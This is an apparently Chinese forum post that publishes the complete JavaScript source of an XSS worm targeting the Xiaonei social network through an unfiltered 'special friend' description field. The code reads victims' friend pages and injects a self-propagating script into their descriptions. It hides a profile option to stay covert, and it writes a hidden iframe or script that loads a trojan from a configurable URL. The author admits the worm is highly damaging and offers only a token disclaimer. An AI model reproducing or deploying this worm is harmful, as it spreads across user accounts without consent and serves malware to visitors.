from:恶魔傻蛋网络研究中心
呵呵…发现留这个东西实在没什么用处,就在这个群里首发吧.呵呵.希望能有对我们ncu的网络安全事业有点促进作用呵呵.
大家别去干坏事哦~~~
呵呵,自我感觉这个worm写的还不错.嘿嘿.~
大家学习参考之用,危害极大,如有人用于非法用途,概不负责.
存在漏洞页面:特别好友的描述那里,没有做任何过滤~
=============================================================
以下是worm代码
=============================================================
1var url = ""; //本段代码的地址如:[http://www.emodd.com/other/1.txt](http://www.emodd.com/other/1.txt "http://www.emodd.com/other/1.txt")2var maurl = ""; //木马的URL,和下面的maiframe参数和用3var tezheng = ""; //上面url参数的特征部分,如emodd4var maiframe = true; //判断挂马的方式(true为iframe,false为script,详情请见代码末尾ma()函数)5
6var req;7var s; //获取的页面源代码8var code = '<script src="'+url+'" langueage="javascript"></script>'; //感染的代码9
10//下面为判断xmlhttp支持.这个是抄的以前那个校内蠕虫的,嘿嘿~11function checkxml(){12if(!req)13{14if(window.XMLHttpRequest)15{82 collapsed lines
16try17{18req = new XMLHttpRequest();19} catch(e) { req = false;}20}21else if(window.ActiveXObject)22{23try24{25req = new ActiveXObject('Msxml2.XMLHTTP');26}27catch(e)28{29try30{31req = new ActiveXObject('Microsoft.XMLHTTP');32} catch(e) { req = false;}33}34}35}36if(req)37{38try39{40gets();41}catch(e)42{43req=false;44}45}46else{ma();}47}48//下面为获取特别好友页面源代码,并由此判断好友的ID和特别好友描述49function gets(){50req.open("GET", "[http://xiaonei.com/myhotfriendlist.do](http://xiaonei.com/myhotfriendlist.do "http://xiaonei.com/myhotfriendlist.do")", false);51req.send();52var s = req.responseText; //获取页面源文件53if(s.indexOf("hf_name",0)==-1) //判断是否有特别好友,没有则到addhf()添加54{55addhf();56}57else {58if(s.indexOf(tezheng,0)==-1){ //判断是否感染,感染就写马,未感染就感染59var descall1 = s.substring(s.indexOf("showhotfrienddesc.do")-58,s.indexOf("showhotfrienddesc.do")-26);60var descall = escape(descall1);61var descen = descall.substring(descall.indexOf("%09%09%09"),descall.indexOf("%3Ca"));62var desc =unescape(descen); //上面四行为获取特别好友的描述内容63var hfid = s.substring(s.indexOf("hf_name")-10,s.indexOf("hf_name")-1);//获取第一个特别好友的校内数字id64inject(hfid,desc);65}else{ma();}66}67}68//下面函数添加好友69function addhf(){70req.open("GET", "[http://xiaonei.com/myfriendlist.do](http://xiaonei.com/myfriendlist.do "http://xiaonei.com/myfriendlist.do")", false);71req.send();72var ss = req.responseText; //获取好友页面源代码73var fdid = ss.substring(ss.indexOf("portal=search&id=")+17,ss.indexOf("portal=search&id=")+26);//获取第一个好友id74req.open("GET","[http://xiaonei.com/addhotfriend.do?id=](http://xiaonei.com/addhotfriend.do?id= "http://xiaonei.com/addhotfriend.do?id=")"+fdid+"&from=mf&curpage=0", false);75req.send();76var desc = '<script langueage="javascript">document.getElementById("userFriendSpecial").style.display ="none";</script>';//隐藏个人页面的特别好友选项,隐蔽作用77inject(fdid,desc);78}79//下面函数为感染80function inject(hfid,desc){81var postinfo = "contents="+escape(desc)+escape(code)+"%20&guestId="+hfid+"&submit=%E7%A1%AE%E8%AE%A4";82req.open("POST","/saveMyHFDesc.do",false);83req.setRequestHeader("Content-Type","application/x-www-form-urlencoded");84req.send(postinfo);85ma();86}87//下面函数为挂马88function ma(){89if(maurl!=""){ //判断挂马地址是否为空,为空则不写90if(maiframe){91document.write('<iframe src="'+maurl+'" width=1 height=1 frameborder=0></iframe>')92}93document.write('<script src="'+maurl+'" langueage="javascript"></script>');94}95}96//开始97checkxml();
============================================================